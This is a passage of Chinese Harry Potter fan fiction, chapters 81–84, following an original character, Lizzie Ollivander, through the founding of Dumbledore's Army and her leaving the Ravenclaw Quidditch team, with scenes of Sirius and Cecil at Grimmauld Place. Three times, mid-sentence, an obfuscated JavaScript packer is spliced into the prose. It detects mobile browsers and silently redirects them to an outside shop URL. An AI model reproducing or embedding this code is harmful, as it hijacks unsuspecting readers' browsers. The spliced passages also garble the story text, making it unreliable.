乌泱泱的人群不仅让阿不福思惊呆了,莉兹察觉到刚刚角落的男巫也露出了一瞬惊讶的神色,她低声说道:“你们清楚这是要做什么吗?” “我以为你比我们清楚呢,”乔治用眼神示意了一下最前面在说着话的赫敏,“就像格兰杰说的,我们总得学点什么保护自己吧,而且这不和你之前的游戏一样么?” “我自然知道……” 她只是觉得聚在这里的年轻人们没有意识到自己已经在做出选择了,就像她一直认为玛丽埃塔跟来不是一个好主意,这不是一件值得跟风的事情,甚至在某种意义上都称不上是一件好事。莉兹的嘀咕声被前面的争论声掩盖,她听到了塞德里克的名字,蓦地抬起头,看到刚刚还面露难色的哈利实际上应对得很不错,作为一个五年级学生来说,这确实很有派头。 “所以你真的能教比你还年级高的人吗,他们可比你多学了一年的咒语,”一个男生指着那些六年级的学生,“哦,这里还有七年级的呢!” 后排的双胞胎兄弟和李·乔丹一起做了个鬼脸,根本不想搭理他,莉兹则是从鼻子里发出了一声冷哼,游刃有余摆出一副傲慢态度是她的长项。 “首先,我不认为哈利在黑魔法防御术上的造诣不足够,但是正是为了解决各位的疑惑,”赫敏提高了嗓门,将那本咒语册子高高举起,“我想你们之中许多人一定都拿到了这本咒语书,编写它的作者现在就在这里,她也会负责教学的任务,莉兹·奥利凡德,拉文克劳七年级的级长。” 意想不到的出场方式,莉兹与哈利刚巧对视了一眼,仿佛两个人都是刚好被驾到了这个位置似的。 “是的,莉兹的魔咒学与黑魔法防御课在O.W.Ls考试里都拿到了O,弗立维教授给了满分。”一直沉默的秋不满大家的疑虑,竟然主动开了口,“我百分百相信她。” “没错,我也一样。”安吉丽娜同时举起手来。 “还有我们。”弗雷德笑着说道,“我们绝对相信伟大的哈利和小古板女士。” “那如果是这样的话,我没意见了……”男生支支吾吾不再反对。 最终第一次聚会就在七嘴八舌中达成了一个暂时的共识,赫敏将一张羊皮纸摊开,希望参会的所有人在上面写下自己的名字,眼见着轮到玛丽埃塔了,莉兹最终还是没忍住,她上前拉住了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487869|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,已经签完名的秋夜不解地转过了头。 “我希望你知道这件事并不是游戏,如果你有一点点忌惮自己的妈妈,那可以不参加的。”尽管了莉兹压低了声音,但周围仍然有人向她看过来,赫敏也抬起了头。 玛丽埃塔被盯得有些焦躁脸热,她抢过羽毛笔潦草地写下名字,说道:“其他人说你很厉害,你还真把自己当成大人了,我可不是他们。” “我去劝劝她,”秋拍了拍莉兹的肩膀,“对了,我来的时候碰见奥利弗了,他应该在蜂蜜公爵那里等你。” 点头应了一声,莉兹望着秋追着这赌气的姑娘走出门的背影,她无声地长舒一口气,最后一个拿起了羽毛笔,一边写着名字一边问:“羊皮纸被施了咒语吗?” “你发现了吗,”赫敏忍住笑意,“没错,是一个很有效的契约咒语,我从你的册子里得到的灵感。” “那我就放心了,”莉兹也笑了笑,接着收住表情,眼神里的淡漠让剩下的三人愣了几秒,“因为我不知道有多少人真的听懂了你要表达的意思。” “我表达的意思?”赫敏反问。 “参战书。”莉兹点了点那张羊皮纸,接着离开了猪头酒吧。 冷风吹得她打了个寒颤,慢慢走了两步,她又迈开步子,逐渐加速,穿过了石子路上拥挤的人群,她就这样奔跑着,想要更快一点到达他在的地方。 倚着橱窗站立的奥利弗·伍德被几个三年级的男孩围着,他们都是普德米尔联队的球迷,因为没有准备能签名的东西,其中一个男孩临时买了支笔,然后将自己的衬衫下摆扯出来,让伍德在那里写下名字。 几步之外的莉兹饶有兴致地看着伍德,已经正式成为职业选手有一年了,他似乎仍然无法自然地应对球迷的追捧,手忙脚乱得像个新人。 伍德弯腰给男孩们签名时看到了不远处的女孩,她好像比夏天时又瘦了,这太不寻常了,因为莉兹在学校时总会将在家吃不到的那个部分补回来,所以不可能会在两个多月里消瘦成这样。 “嘿,大明星。”等到伍德落单了,莉兹才走上前。 谁料对方都没回应这个称呼,就将她紧紧拉进怀中,勒得她几乎喘不过气来,只好狠狠拍打着他的后背。 “对不起,我就是……就是太想见到你了。”伍德缓缓松开手,用指腹轻轻抚过她的脸颊,“我要不要多给你寄一点糖果和甜食,我上一周在格拉斯哥吃到了很好吃的芝士挞……” “停一停,”莉兹手心按在他的额头上将靠近的他轻轻推开,“哪有人一见面就要给我送东西吃,霍格沃茨还没破产呢。” “但是你看起来状态不太好,”伍德担忧地说,“有什么没有告诉我的吗?” 说话间,他看到了她手背的伤疤,立马瞪大了眼抓过她的手问道:“这些都不能写在信里吗,学校里到底发生了什么?” “是的,不能写在信里。”她反过来牵起伍德的手将他拉近,另一只手则是勾上了他的脖子,嘴唇贴在他的耳边,“给我留下伤疤的人在监视我,所以我不能说。” “那就说点能告诉我的事情,我只想听你说话。”伍德顺势扭过头亲吻她。 “米歇尔女士刚在诺坎普主场拿下十连胜,你愿意听吗?”莉兹笑着逗他。 “你就是现在给我讲算数占卜题,我也会听的。”伍德回说。 午后的三把扫帚人满为患,莉兹和伍德两个人在店里找到了两个吧台空位,点了份薯条和两杯热饮,一直坐到了天色渐暗。 被问到“魁地奇之夜”的时候,伍德说自己于情于理都应该去支持一下,因为有一位谁也想不到的人正在和杰姬一起做电台节目——帕特里克·费尔曼从魔法部辞了职,跟杰姬在伦敦租了一间工作室。 这个消息确实在莉兹的意料之外,毕竟帕特里克可是比她还要更听父母话的乖孩子,无论是选什么课还是毕业后选什么职业,都被安排得明明白白。 “可能谁都不愿意做父母喜欢的孩子吧。”伍德当时在说出口的一刻就意识到自己说错了,他看了一眼莉兹,女孩好像不觉得这有什么。 于是他又接着说:“你是知道的,我会搬到对角巷是因为爸爸希望我转会到德国,他们希望能离开英国,也希望我不要再参加……反魁协的活动。” “我还以为你会去西班牙找米歇尔女士。”莉兹再次想用玩笑话打破这个气氛,可惜她的确不是这块料,伍德又叹了一口气。 “因为几次抗议活动,俱乐部的上座率变得很糟糕,我们不得不对外公开训练,还举办了很多表演赛,”伍德两手抱住头,“我第一次觉得魁地奇有点让人厌烦。” 这句话竟让莉兹笑了出来,伍德看向她也跟着笑了,相识这么多年不管什么时候他们的话题总是围绕着魁地奇转,明明不能理解彼此的两个人在这一刻居然第一次有了共鸣。 他们现在终于明白了,讨厌会带来痛苦的经验,喜欢也会。或者说,它带来的痛苦往往更难以忍受。 如今依赖起魁地奇的人反而成了莉兹,她在回学校之前告诉伍德,只有在飞天扫帚上的时候,她才会觉得时间其实是停止的。 落地的瞬间,指针开始转动,手背的伤疤在脱皮,《第二十四条教育令》被高高挂起。 “兹解散一切学生组织、协会、团队和俱乐部。” 82. 神神秘秘的老头 一瓢冷水猛然浇下,壁炉里的浓烟升腾起直接迷了人的眼睛,西里斯被呛得咳嗽声连连,他皱起眉头看向已经熄灭的柴火和那之中已经消失的身影,咬着牙转过身去:“你一定要这么对我吗,我只是跟他说几句话!” “你或许没有意识到,只要你再多说一句话,斯克林杰就能派人找到这里。”塞西尔将手里的玻璃杯放下,对着壁炉念了一个清洁咒语,接着当着西里斯的面把通道锁了起来。 “怎么,又有什么不应该告诉我的天大的事情发生了?”男人赌气似的起身,透过窗户看向外面背对着她。 “没有什么不能告诉你的,不如说我已经告诉你所有事情了,”塞西尔的脑海里闪过在猪头酒吧里莉兹几次看过来的眼神,“因为现在比起格里莫广场,更不安全的是霍格沃茨。” “你也要拦着他们吗?”西里斯把窗帘拉上。 “也?我为什么要拦着,”塞西尔哈了一声,笑着回道,“我该想到韦斯莱太太会这么做的。” “莫丽特地让我提醒三个孩子,”西里斯听起来并未当回事,“但哈利不会听大人的话,那小子做不到。” “想想自己是怎么过来的,就别期待他们了,”塞西尔总算想起了自己为什么上楼来,“哦,我是来告诉你这件事的,莱姆斯回来了,有人陪你玩了。” “你是不是总把我看成是个不懂事的小屁孩?”西里斯虽说不满,但还是走过去准备打开房门。 “当然不是,”塞西尔轻轻耸肩,伸手一撩他的头发,“是小狗狗(littlepuppy)。” 话音刚落门开一条缝,西里斯刚想反击只听走廊上一声哐当,原本在调笑的女人神色凝重,是她一脚踢开了什么,长靴的鞋头包着一层铁皮,只听得传来门外痛苦的呻///吟。他上前将门敞开,看见克利切被她的眼神吓得摔坐在地上连连后退,并用手里的毛刷狠狠抽打着自己的脸。 似乎这一举动同时也让塞西尔本人震惊了,她攥着衣角,紧绷的身子在发抖,她深呼吸了好几下,眼角泛红,最后只挤出了一句:“克利切,我说过的,你记得我和你说过什么。” 克利切的嘴角几乎开裂,他抓着毛刷踉跄着爬起身,用复杂的眼神看向塞西尔身后的西里斯,掺杂着厌恶不屑与心痛的,仿佛毁掉他心目中那位小姐的人正是这个人似的。 这眼神对西里斯来说可太熟悉了,布莱克家里每个人都是这样看着自己的,连那位故去的弟弟也是一样,离开家之前,他甚至比父母看起来还要失望,那个晚上西里斯推开了房间的窗户,詹姆骑着飞天扫帚在夜空中向他招手,跨过窗台的瞬间身后传来了弟弟的声音,他问他是不是就决定这样走了。 “反正哪里都比这里好。”西里斯记得这是自己对弟弟说的最后一句话,结果谁料到最后又回到了这里。 克利切挪着步子消失在走廊尽头,塞西尔的情绪才稍微平定了一些,她甚至不敢去看写着雷古勒斯名字的那扇门,低声念着:“战战兢兢的总有一天会把身边的人都得罪光,我真是没救了,像个守旧的纯血老头。” “如果刚刚偷听的是蒙顿格斯,现在腿都断两条了,”西里斯明白塞她在紧张什么,也清楚她在内疚什么,“但是塞西尔你听着,情义对这种东西来说毫无价值,他如此厌恶我却因为我的姓氏对我言听计从,你竟然认为他会因为我那该死的弟弟站在你这边吗?” “你那该死的弟弟有名字的,你是说不出口吗?”塞西尔瞪大了双眼看向他。 深夜时分,屋子里本就静悄悄的,邓布利多留到很晚才离开,一打开厨房门,上面的动静很快惊动了楼下的人,但西里斯跟塞西尔成日里打打闹闹并不稀奇,莫丽·韦斯莱只当他们又是老样子,把在餐桌上跟丈夫说话的莱姆斯·卢平吆喝去劝架。 “你真认为他们俩不合适吗,”莫丽问卢平,“我瞧他们都缺个伴儿呢,其实我觉得你跟塞西尔……” “我必须得上去看看,我想这老房子禁不住他们折腾。”卢平连忙想躲开韦斯莱太太,不愿让这个话题继续下去。 很显然,他来得十分及时,那两人就差没给对方狠狠咬上一口,甚至整个家里真的会咬人的只有变成狼人的自己。卢平将西里斯拉到一旁去,又拍着塞西尔的肩膀,这是几年前跟她第一次见面的自己绝不会想象出的画面。 “再这么下去,莫丽就该帮你们递结婚申请去魔法部了。”卢平确认他们之间的距离足够安全以后才松开了手。 “那我可配不上风姿绰约的塞西尔小姐。”西里斯大剌剌往窗边的扶手椅上一坐。 塞西尔翻了个斗大的白眼,把另一张椅子拉远,坐下跷起二郎腿冷哼一声:“是啊,我这疯女人怎么敢招惹你布莱克少爷。” “好了,你们俩怎么回事,打情骂俏吗?”卢平又站到两个人之间。 “我都没提那小姑娘跟我打听你的事情,莱姆斯小心点说话。”塞西尔一句话挑起了西里斯的兴趣。 “小姑娘?”西里斯探头凑过来,“不会是……” “你外甥女。”塞西尔迅速接话。 “啊,莱姆斯——”西里斯啧啧两下缓缓摇头,再次朝塞西尔凑近,“给我详细说说呗。” “你明天不用去魔法部上班吗?”好脾气的卢平根本拿他们没办法,“干脆我把另一张床让给你好了。” “莱姆斯你真残忍,”塞西尔撇着嘴抬起头,“这么可怕的事情也敢提。” “怎么可怕了,我们不是几个月都睡在一起么。”西里斯勾起下巴。 “对哦,小狗狗,”塞西尔一字一顿,故意做了个鬼脸,“我是说‘上班’这么可怕的事情他也敢说,哎呀,我忘了,二位是无业游民。” 说罢她抬手理了理自己扎手的短发,虽然那只让她的头发变得更翘了,像个毛刺球似的。 “所以现在你们能说刚刚的动静了吗?”卢平问起了正事。 塞西尔一时无言,西里斯看了她一眼,语气也变得有点糟糕:“克利切又在偷听了。” “哦西里斯,你知道邓布利多希望我们对他好点。”卢平回道。 “怎么不好了,”西里斯反驳道,“难道敞开门让他进来听吗?” “清醒点,克利切一旦离开这里,他就能带着所有的秘密到其他布莱克家人身边,除了蹲在阿兹卡班的那位,你还有一位堂姐。”卢平直接点醒面前这一个念旧情的还有一个叛逆发作的,“总不能真的认为邓布利多的嘱托是因为他的善心吧。” 二人陷入沉默久久未开口,直到房门外楼梯间的灯光都熄灭,塞西尔才起身:“我会帮邓布利多先生记一笔的,你刚刚说他坏话了。” 说罢便听见了啪的一声,她幻影移形离开了房间,下一秒又是一阵引擎发动的声响,西里斯跪坐在扶手椅上和卢平一起看向街道,那辆没有被魔法部没收的雅马哈被她改成了更不起眼的颜色,连她戴着的头盔都涂成了黑色。要知道塞西尔第一次骑着摩托车出现的时候,西里斯始终不太明白荧光绿色的油漆为什么会出现在一辆机车上,紫粉色的头盔更是奇特。 当然了,最精彩的是这些颜色通常会出现她的头发上。 和塞西尔的造型一样扎眼的,是她的守护神,毕竟身形巨大的白狮子在哪里都不可能不被注意,但这对凤凰社成员之外的人来说都是个秘密,旁人从未将那狮子与疯癫的塞西尔联系在一起。 这日临近破晓时分,莉兹又一次在混乱的梦魇中惊醒,前一晚为了重组拉文克劳魁地奇校队的事情,她与戴维斯在公共休息室里闹了一场。因为第二十四条教育令而解散的学生会不出半日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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联系起上次自己送给塞西尔的最后一封信,莉兹明白这是她在回答自己信中的担忧,为什么魔法部要盯上塞西尔,这是因为她是邓布利多校长的人。下面的内容更是让莉兹确认了,猪头酒吧里那个男巫一定是变装后的塞西尔。这也给了莉兹一个提示,即便赫敏·格兰杰可以如她那日所说的来寻求自己的帮助,可那绝不会是无端端的,那不是约定好一起吃午饭这么简单的事情,格兰杰是个谨慎的姑娘,不会轻而易举相信一个人。 但是塞西尔从未提及过波特的朋友,莉兹猜测他们也不算相熟,推手应该另有其人,这个人同时了解塞西尔与自己的关系,也了解赫敏的谋划与自己的小动作。莉兹决定趁大家都没醒的时候去魁地奇球场绕一圈,这可能是最后一次了,她一边思索着刚刚的推论,一边将脑袋从羊毛套头衫里钻出来。 裹紧了围巾戴好伍德的那顶帽子,莉兹快步穿过中庭,走到一半时看到喷泉前站着一个人,水面映出一件紫色的斗篷,还有尖顶的巫师帽,她立刻后退了两步,正要转身的时候,那人出了声。 “奥利凡德小姐,早起真是个不错的好习惯,空气很不错,你觉得呢?” “邓布利多教授,早上好。”莉兹僵硬地停在原地,向对方打招呼。 “介意我跟你一块儿去魁地奇球场吗?”邓布利多看着她穿戴整齐,里面还套着训练用的护膝。 “当……当然不会,”莉兹清了清嗓子,“只是私下使用球场,我应该先去找弗立维教授拿申请的。” 邓布利多则是笑了笑,好像莉兹说的是什么滑稽的事情一般:“守规矩并不是什么好事情,我想奥利凡德小姐很明白这点,我们都有自己的规矩,遵守这一条就好了。” 拿过飞天扫帚,莉兹犹豫着还是问出了口:“教授,其实不是我带您来了这里,是您将我引来的是吗?” 这个问题似乎也在邓布利多的意料之中,他看向了她:“因为没有人会去叫醒装睡的人,早起是自己选的,不是吗?” “所以您不会在乎我在什么时候醒来?”莉兹反问。 “你可以在任何时候醒来。”邓布利多说。 “谢谢您的解答。”莉兹说着跨过扫帚,一飞离地。 一抹身影隐没在低压的云层中,而后一阵风吹过,邓布利多抬头看,她的身后亮起的是金色日光。 83. 敬自由敬莉兹 莉兹·奥利凡德收到了一封吼叫信。 这件事就发生在她决心退出球队的隔天一早,她甚至不清楚霍琦夫人是不是看完了她的退队申请,但当那只穿越了暴风雨的陌生猫头鹰将信件准确无误扔在她面前空荡荡的餐盘上时,不好的预感压得她心口生疼。这下她确实不用去问霍琦夫人是否接收了申请,因为米歇尔已经从异国他乡送来了她的意见。 “绝无可能。” 整个礼堂在怒骂声停止的那一刻安静了好一阵子,几乎连刀叉碰到盘子的声响都变得格外明显。所有人都被吓到了,这是很自然的,因为通常情况下,家长们并不会选择吼叫信来向子女表达愤怒,这并不体面,也不够私人。可一个能够远程监督女儿练习的魔鬼教练,也许不会认为隐私与自尊有多么值得在意。 可这毕竟不是莉兹第一次收到吼叫信了。 讽刺的是上一回也是因为球队,一年级的她拒绝了提前入队的邀请,爆炸的信封差点把猫头鹰棚屋烧出一个窟窿。 此时在教师席坐着的乌姆里奇脸上露出了宛如胜利者般的微笑,叛逆小孩被家长死死攥在手里的场景让她心生愉悦,若是莉兹真的因此向她低头道歉了,她一定会大发善心通过拉文克劳魁地奇球队重组的申请。 米歇尔的言辞激烈毫不留情面,仿佛莉兹失去了魁地奇只是一个毫无价值的人,一连串的批评听得戴维斯拿不稳手里的杯子,南瓜汁洒了出来,他慌忙掏出餐巾扔在桌上,接着转头去看莉兹。她依然面无表情,或者说,她甚至比平时还要冷淡一些。 信纸变成碎片撒落,她和没事人一样拨开这堆碎纸,将司康切开,一层又一层涂抹着果酱,塞进嘴里咬了一大口,酸甜的橙子酱糊在嗓子眼,把她心里那些理应被称作是苦涩的情绪都挡住了,以至于莉兹都不会觉得委屈。她从不希望米歇尔像寻常的母亲一样,询问一下被关禁闭的理由,再不济至少问问为什么到七年级了才选择退出球队。 既然霍琦夫人会寄信给她,就证明自己的那份申请书应该也给她看过了,那上面没有一个字是用来客套的场面话。莉兹知道说实话会有什么结果,米歇尔的回信也让她彻底意识到,自己其实已经完全放下了对妈妈的期待,放下了对“做得好”这句称赞的期待。 正当所有人认为这件事会成为拉文克劳魁地奇球队重组的转折点时,莉兹没有如米歇尔在信中要求的那般去找乌姆里奇,而是再次推开了霍琦夫人的办公室门,对方大约是从别的老师那里听说了莉兹的事情,神情有些尴尬,她知道米歇尔对女儿一向严厉,却不曾想到这个程度。 “你还是要退队吗?”霍琦夫人问道,“有些事情让教授们来沟通也没问题。” “是的,我认为也是到时候了,”莉兹重新送上签好名字的退队申请,“霍琦夫人,我可能从来就不是您认为的那种好选手,我并不爱这个队伍,我把它当作了一份交给米歇尔的作业,这些实话对其他人来说太不公平了。” 深呼吸了一下,她继续说:“我也的确做了一些令乌姆里奇教授无法接受的事情,但我不会为此道歉,对我来说这比交出一份满分答卷更重要。” “我也强调过这件事可以交给大人来解决。”霍琦夫人回道。 “那太不公平了,我不会给拉文克劳带来胜利,我只会给拉文克劳带来偏见,我不会对我的队友们这么做。”莉兹攥紧了拳头,“总而言之,我希望您能帮我一次,我不会再妥协了。” 这一回离开球场的时候,莉兹觉得胸口与肩头的担子消失了,可能早就该这么做了,只是她没找到那个足以被称作是契机的时候。原来自由不是“我考几分都没关系”,而是扔笔离开考场。 她打开休息室的柜子,里面摆着常用的训练斗篷与换洗打底衫,以及一副用旧了的护膝、伍德送的护目镜和塞德里克送的护腿板,他在上面用魔法颜料画了四个小人,拿起来时就能看到小人在上面跑来跑去。 “我就知道你在这里!” 安吉丽娜的声音比她的人更早出现,莉兹把所有东西一股脑儿塞进挎包里,合上柜门时,休息室里已经站满了人。 她和韦斯莱双胞胎兄弟三人在最前面,秋和其他拉文克劳的队友们匆匆忙忙赶到,最后一个进来的是戴维斯,他抱着一篮子的甜点饼干和罐装黄油啤酒,连连喘着粗气。 莉兹知道这是拉文克劳每年会给球队的毕业生准备的礼物,帕特里克毕业那年他把篮子里的饼干分给了路过的每个同学,她没想到戴维斯会为她这个中途落跑的家伙预备好这些。 “这么多年都是这样,你说要用什么阵型我们就怎么比,反正我们从来都没办法让你改变主意,”戴维斯把篮子放在她旁边的长凳上,“我也知道我肯定没办法做到像你那么好,可就算是我也觉得这太委屈你了,总之……” “你为什么会觉得自己会不如我,”莉兹突然笑了,“我做的事情又有哪一件是你做不来的?” “梅林的胡子都最后一天了你就不能改改你那说话的语气吗!”戴维斯真是拿她没办法。 “可这不就是小古板女士么?”乔治跟着笑道。 “就是啊,她可说不出好听的话。”弗雷德探头。 “拉文克劳的主场为什么还会有你们凑热闹?”经常因为莉兹而被双胞胎恶作剧的戴维斯面露不满说道。 “什么凑热闹,”身为格兰芬多魁地奇球队队长的安吉丽娜立刻站出来护犊子,“这可是莉兹退役的大日子,我们格兰芬多永远是莉兹·奥利凡德选手的支持者。” “好了好了……”队友们将戴维斯拉回来,秋则是站到了莉兹身旁,她看向她微笑的脸庞,决定不再多问一句为什么。 “咳咳,给小古板女士一点空间!”乔治喊道,“退役感言?还是什么其他的,你有什么要留给我们的吗?” 早知不会这么轻易就放过她,莉兹瞥了他一眼,想着事后再找他算账,于是她从袖子里摸出魔杖将篮子里那一打黄油啤酒一瓶瓶打开送到每个人手边,接着高高举起自己手里那瓶。 “我实在没什么可说的,如果非要说的话,那就去打属于你们自己的魁地奇吧,敬自由!” “敬自由!” “敬莉兹!” 狭小的休息室时隔一年多都没有这么热闹过了,上一次大概还是伍德带队拿下学院杯的时候,天色渐暗,大家三三两两往回走,先前满满当当的篮子已经只剩下几盒没开封的巧克力蛙,莉兹把自己的挎包放在里头,慢吞吞地走在最后。 这真是不错的夜晚,她觉得自己在乌姆里奇与米歇尔面前都可以昂首挺胸,她是一个真正的胜利者。 不过米歇尔二代正式退出校队的消息短时间内还是成为了霍格沃茨的大新闻,从旁人口中听说这消息的玛丽埃塔十分不满,就好像她成了秋与莉兹之外的第三人,明明自己才是秋最好的女朋友。再加上黑魔法防御小组这么危险的事情自己都答应了要和她们一起,为什么还是要将她排除在外。 “我希望你清楚,这不是游戏。” 莉兹说这话的时候看向她的眼神,好似在看一个过家家的小孩。 距离上次在猪头酒吧聚会过去了一段时间,这天总算是等来了新的消息,莉兹实际上先前也想过主动去找赫敏聊聊,毕竟塞西尔把这么重要的任务交给了自己。不过自己作为某人的重点关注对象之一,她要是贸贸然去接触与波特有关的人看起来就太反常了,总不能真的站出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487871|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟他挑明说他的处境很危险需要足够严密的安保吧。 但邓布利多教授都没有干涉,也说明了一点,他们都在等待,用如此显眼的鱼饵钓上最大的那条鱼。神秘人在同一个人身上失败了两次,他一定不会放弃再来一次,这让一切都变得明朗了。 今晚约定的时间是八点,莉兹差不多在七点四十五点时候离开了图书馆,负责巡逻的戴维斯正在把三年级以下的低年级学生吆喝回各自的公共休息室,他们彼此看了对方一眼,沉默着没打招呼,直到莉兹走远了几步戴维斯才犹犹豫豫追上来,他塞给她一张巡逻排班表,然后又扭头走回楼梯口。 她低头看了一眼,上面有几个人的名字被用星号标了出来,比如德拉科·马尔福和潘西·帕金森,都是莉兹还没离开学生会时候就知道的难缠家伙们,他们喜欢动用级长的职权欺负其他学院的学生,更喜欢的是通过举报所谓的“不当行为”向乌姆里奇表忠心。 这张会灵活变动的排班表在后来的日子里帮莉兹避开了不少麻烦事。 到达指定地点时,玛丽埃塔已经早早站在了那里,那姑娘似乎还在跟闹别扭,一看到自己就拉着秋往前走,莉兹耸了耸肩,抬起头来观察着这间凭空出现的屋子,她曾听说过霍格沃茨有个神秘的房间,但被塞德里克讲得太玄乎了,她和伍德都认为这是完美先生做的一个梦,他梦里的房间里有个舞池,还有会自由活动的木偶人,手把手教着他跳华尔兹。若是没有那一夜的练习,塞德里克说自己一定会在喜欢的姑娘面前出糗的。 莉兹倒是觉得这个故事让他看起来更滑稽。 然而这一刻她突然想跟他道个歉:“塞德对不起,你原来说的都是真的。” 黑魔法防御小组的活动进行得比想象中顺利许多,至少以纯学生组织的标准来看,进展得相当不错,无论是确立名称为D.A(防御协会/邓布利多军),还是确立一个领导者,都没有耽误太多时间。 尽管哈利作为组织者之一,由他来担任领导是再自然不过的一件事,但秋还是主动提出了应当由七年级的莉兹作为领导,这得到了一部分高年级学生的支持,他们都更信任莉兹的能力。 分歧出现的瞬间,站在众人面前的哈利一时语塞,他其实也认为秋的说法没有问题,只是这话由她来说倒是让他有点面颊发烫,仿佛他是真的不自量力一般。 “我知道大家信任的是我的成绩单,只是我们并非是学习小组,我猜波特和我的想法应该也是一样的,我们需要的不是一个具体领袖,我们只需要一个共同的目标就可以,所以谁来当这个老大不重要。”她看向哈利,“重要的是如何保命,你说是吗?” 哈利的紧张与不安在莉兹的讲话声中不见了,他想起了一年级那天的夜里,她将用牛皮纸包好的隐形衣和两块曲奇饼递给自己的模样,轻声细语的提醒安抚了那时因为闯了祸而自责不已的他。 “那我们就开始D.A的第一课吧,如果能够练习得足够熟练,它应该会是最简单也最有用的咒语——缴械咒。” “我觉得我们应该要定一个标准,”秋再次指出,“比如这个咒语要练到什么程度才算是过关?”对学习从不模棱两可的拉文克劳们常有这样的执着。 “练到能够抢走我的魔杖。”莉兹不假思索回道,就像她当时训练塞德里克时一样。 “哈利能抢走你的魔杖吗?”弗雷德问。 罗恩可能是把这话当作是对好朋友的挑衅,转过头瞪了自己哥哥一眼,但很明显弗雷德只是在帮好奇的所有人解决疑惑而已——哈利·波特真的能做到吗? “试一试?”莉兹起身。 “好的,试一试。”哈利掏出魔杖与莉兹站在了两侧,彼此相对。 84. 学会做好人善事 按照魔咒学这门课的七年教育计划安排,百分之三十的学生们应当在六年级后熟练掌握无声咒,而只有不到百分之一的学生能在毕业时自主使用无杖魔法。能将防御与攻击咒语同时融进这两种施咒模式的,即便是在最高等级的傲罗中那也是凤毛麟角的存在,尤其是在和平年代,人们从不会费心神去练习这些,大多数人更乐意把这能力用在日常生活里,比如咋眨眼睛就能将厨房打扫干净。 所以根本没人看清莉兹是怎么做的,哈利的魔杖已经脱了手,在半空中划出一段弧来到了她手里,就连哈利自己都有些懵懵然,说好的数完三个数就开始,她掏出魔杖的速度甚至比他还要慢了半拍。结果她就这样轻轻一点,哈利便眼睁睁看着魔杖从手中滑走。 “哦,非常抱歉,我已经形成习惯了,”莉兹快步走向他,将魔杖还回去,“我这次会好好演示的。” 她自然是毫无恶意的,但旁人的议论声让哈利多了一些本不必要的压力,莉兹不知是不在意这些目光还是说压根就不觉得这个状况会令人难堪,她重新摆好姿势,开口说道:“冬青木的防御力和攻击力都是绝顶的,一根好魔杖会让你施出强大的咒语,所以重来一次吧,波特。” 因为即便是施咒的速度相同,咒语也会倒向魔力更强的一方,这是无法否认的事实。 “除你武器!” 咒语念出一阵重压来到了手腕上,谁都看得出两个人在互不相让,赫敏瞥了一眼身后又想看笑话的扎卡赖斯和他的朋友,悄悄呼出一口气,在心里默默给哈利加油,尽管她知道莉兹是一位足够有能力与声望的高年级学生,但作为这项活动的发起者之一,她更希望哈利是占据绝对领导位置的人。 到了这个阶段,并且在一些前车之鉴的影响下,赫敏·格兰杰决定不再百分百相信别人。 伴随着一阵欢呼,莉兹的魔杖飞到空中,哈利伸出手接住,刚刚耐心说着“重来一次”的女孩眼里写满了赞叹,只见莉兹眨了眨眼,然后点着头,接着和大家一样抬手鼓起了掌。 总之一切尽在不言中,哈利获得了高年级们的信任,莉兹也因此展示了自己的能力。 为了加快教学进度,两个人便通过抽签,一人负责一半的学生,门口那块写着D.A全称的黑板上,贴着莉兹与哈利的简笔头像画下方,标注了每个人负责的学生,他们每学会一个新咒语,名字后就会被画上一个圈。 非常不凑巧的是,秋与玛丽埃塔在抽签中被分开,秋对不能够留在莉兹的小队这件事感到十分遗憾,而玛丽埃塔一看到莉兹,脸上还是那副闹别扭的表情,以至于她都没有认真练习咒语。 无可奈何的莉兹经过她的身边,小声提醒着今晚的课程就要结束了,如果再不练就没机会了。 “我当然知道。”玛丽埃塔哼了一声扭过头,喊出缴械咒语差一点把帕德玛的麻花辫烧着了。 “呀!”尖叫声吸引了周围人的注意,靠得最近的安吉丽娜连忙脱下身上的斗篷狠狠拍灭那些火星子。 “没事了,没事的,”另一边帕德玛的双胞胎姐妹也走过来,她低头检查着烧焦的发尾,“稍微修剪一下就好了。” “对不起,我不是故意的……”自知理亏的玛丽埃塔两手的食指勾在一起,埋下头把脸藏了起来。 帕德玛摆了摆手说这没什么,而后转身去加入了其他的两人组,留下玛丽埃塔和莉兹在原地,看着莉兹空洞一般的银色眼睛,玛丽埃塔压在胸口的憋屈不知道如何抒发,她听见了她对她的每一句质问,之所以会生气,就是因为那都是她无法反驳的。 她不明白为什么秋和莉兹在迪戈里去世后变成了她完全不认识的样子,好像前一天寝室里在聊着的还是龙卷风队新赛季的丑队服和古怪姐妹的新唱片,后一天她们就开始为了那些和普通人无关的事情忧心忡忡。 到底谁会在意魔法部做了什么,谁又会在意威森加摩罢免了谁,这到底和她有什么关系。 很可惜的是,玛丽埃塔清楚如果自己说出这些心里话就没办法再与她们继续交往下去了,所以她更愿意把选择立场这件事作为交朋友的条件,哪怕她要在给妈妈的信里撒谎说自己没有参加任何学生活动。 也正是因此,莉兹毫不留情的评判才让她尴尬,她其实明白秋也不过是揣着明白装糊涂,但玛丽埃塔就想要这样,好像身边的一切没有发生任何变化一样。 